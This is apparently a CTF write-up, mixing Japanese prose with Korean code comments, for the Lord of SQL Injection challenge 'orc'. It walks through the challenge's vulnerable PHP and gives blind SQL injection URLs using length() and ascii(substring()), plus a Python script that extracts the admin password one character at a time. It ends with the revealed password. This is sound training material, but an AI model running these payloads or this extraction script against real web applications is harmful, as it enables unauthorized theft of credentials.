[LOS] 4. Orc

13523 ワード

ヒント


最終的にはパスワードを知ってから問題を解くことができます.
  • ブラインドsql注入
  • を用いる

    に答える


    コード解釈

    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello admin</h2>"; 
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
      highlight_file(__FILE__); 
    ?>
    この問題は初対面の人は慌てるかもしれません.以前の問題のように解決できないからです.
    5行目から9行目の1番目のクエリ文10行目から13行目の2番目のクエリ文を2番目のクエリ文と呼ぶ場合、1番目のクエリ文は前の入力攻撃で迂回できますが、2番目のクエリ文でブロックされます.
    特に、2番目のクエリ文に最後の行が表示された場合、2番目のクエリ文の開始時にget方式で受信された初期pw値のうち、addslash()を経たpw値が存在しなければならず、この値は初期pw値と同じでなければならない.
    そのため,一言でパスワードを見つけなければ,解決は困難である.
    この場合、ブラインドSQL Injectionを使用できます.
    1回目のクエリの結果、パスワードの長さを検出し、各数値を見つけることができます.

    問題を解く


    blind SQL injection


    まずパスワードを調べてから、パスワードが何桁なのかを調べます.MySQLに存在するlength()という関数を用いて、pwの長さを得ることができる.
    そのため、長さを知るには、以前のようにorに接続して、本当にlength(pw)= (랜덤 숫자)を作成すると、ページにhello adminが表示されます.この反応を見て、パスワードを見つければいいのです.
    そのため、
    https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27||length(pw)=%278
    そこから真の値がわかる.したがって、パスワードは8桁です.
    今8ビットのパスワードの中で1つの位置を探しますsubstringという関数を使用して、文字列から単語ごとに切断できます.
    しかし、MySQLの文法では、大文字と小文字は区別できません.しかしPHPで検査を行う場合、大文字と小文字を区別する.だから、この点をしっかり覚えておきましょう.この場合、ascii()関数を使用して大文字と小文字を区別できます.
    すなわち、pwパラメータにascii(substring(pw,1,1))値が1つ見つかればよい.参議の判断はhello adminの有無に準ずる.
    これはNogadaで直接探すことができますが、もっと頭を使った以上、Pythonで自動化を実現すれば
    # -*- coding: utf-8 -*-
    import urllib.request
    
    answer = ""
    user_agent = "MMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    
    for i in range(1, 9): #비번 길이가 8
        try:
            for j in range(33, 128): #출력 가능한 아스키 코드의 범위(나머지는 NULL같은 제어문자)
                url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=a%27+or+id%3d%27admin%27+and+ascii(substring(pw,'
                url = url + str(i) + ',1))=' + str(j) + '--+'
    
                print(url)
    
                req = urllib.request.Request(url) #url 입력하고 엔터 치기전 상태
                req.add_header('User-agent', user_agent) #헤더값 추가(안하면 los가 뱉어내서 추가함)
                req.add_header("Cookie", "PHPSESSID=세션쿠키값") #헤더값 추가 (로그인 계정 파악용)
    
                res = urllib.request.urlopen(req) #위에 url 입력한 상태에 해더 추가하고 엔터 누른 효과
                data = res.read().decode('utf-8') #본문 가저와서 data에 utf-8로 저장 (utf-8 안쓰면 한국어가 깨질 수 있음)
    
                if data.find('<h2>Hello admin</h2>') != -1: #본문에서 hello admin 찾으면 (아래 소스 코드의 hello admin과의 구별을 위하여 <h2>태그까지 적음)
                    print(chr(j)) #숫자를 아스키 코드에 매칭되는 문자로 바꾸고 출력
                    answer = answer + chr(j) #정답에 한글자씩 추가
                    break #반복문 탈출
        except Exception as e:
            continue
    
    print(answer)
    上記のコードが表示されます.
    ここで、セッションクッキーの値はここでです.user_agentの価格はグーグルで検索して出てきました.
    コードの説明についてコメントしました.
    上記のコードを回して、パスワードは095a9852です.

    答え


    https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852